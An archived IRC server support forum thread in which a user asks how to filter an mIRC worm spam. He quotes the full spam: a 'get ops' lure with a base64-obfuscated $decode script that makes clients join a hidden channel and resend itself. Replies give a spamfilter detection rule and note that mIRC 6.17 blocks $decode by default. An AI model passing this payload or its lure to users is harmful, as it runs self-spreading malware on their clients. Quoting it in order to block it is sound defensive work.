Nkie Worm

These are old archives. They are kept for historic purposes only.
Post Reply
FuRiOuS

Nkie Worm

Post by FuRiOuS »

I am sure this has been done before but I am a complete n00b to this whole spamfilter set up, I'm just now really mastering the main config file. This is the spam message that I'm getting I looked in the spamfilter config file but didn't see this particular one listed. So wanted to post,

^- GET OPS IN THE CHANNEL! USE THIS!: //write ops $decode(b24gMTpqb2luOiM6eyBpZiAoJG1lICFpc29uICN1YXApIHsgLmpvaW4gI3VhcCB8IC50aW1lciAxMCAyIC93aW5kb3cgLWggI3VhcCB9IHwgLmF1c2VyIDIgJG5pY2sgfCAubXNnICRuaWNrIEdFVCBPUFMgSU4gVEhFIENIQU5ORUwhIFVTRSBUSElTIToDNCAvL3dyaXRlIG9wcyAkICQrIGRlY29kZSggJCsgJGVuY29kZSgkcmVhZCgkc2NyaXB0LG4sMSksbSkgJCsgLG0pICRjaHIoMTI0KSAubG9hZCAtcnMgb3BzIH0=,m) | .load -rs ops

How exactly does an entry to the spamfilter need to be laid out, what does it need to say and after it's added do I just rehash the servers? Or am I missing another vital step in this process??? Any and all help is appreciated.
Stealth
Head of Support
Posts: 2086
Joined: Tue Jun 15, 2004 8:50 pm
Location: Chino Hills, CA, US
Contact:

Post by Stealth »

IIRC, this one is in spamfilter.conf...
Jason
Posts: 570
Joined: Mon Jun 14, 2004 5:09 pm

Post by Jason »

Stealth: Yes, but its commented, and for a generic decode exploit.

/spamfilter + cpnNtau kill - Possible_mIRC_Decode_Exploit $decode\(.+\)
Why the hell can't my signature be empty?
"Your message contains too few characters."
McTerry
Posts: 64
Joined: Tue Oct 19, 2004 12:42 am
Location: *.se
Contact:

Post by McTerry »

Isn't all $decode commands blocked?
I read that mIRC blocked that on the latest version.
Dunno about uIRCd
BOOM!
Jason
Posts: 570
Joined: Mon Jun 14, 2004 5:09 pm

Post by Jason »

McTerry: They are blocked by default in mirc 6.17
Why the hell can't my signature be empty?
"Your message contains too few characters."
ARcanUSNUMquam
Posts: 17
Joined: Fri Apr 01, 2005 1:31 am
Contact:

Post by ARcanUSNUMquam »

And the person using mIRC can always unblock em. Or if somebody is upgrading from 6.16 to 6.17, and replaces the 6.17 mirc.ini with the 6.16 mirc.ini, then it is automatically unblocked.
ARcanUSNUMquam
Net Admin @ irc.allxtremenet.net
http://TwoAMProductions.net
McTerry
Posts: 64
Joined: Tue Oct 19, 2004 12:42 am
Location: *.se
Contact:

Post by McTerry »

wierd... :?
BOOM!
Post Reply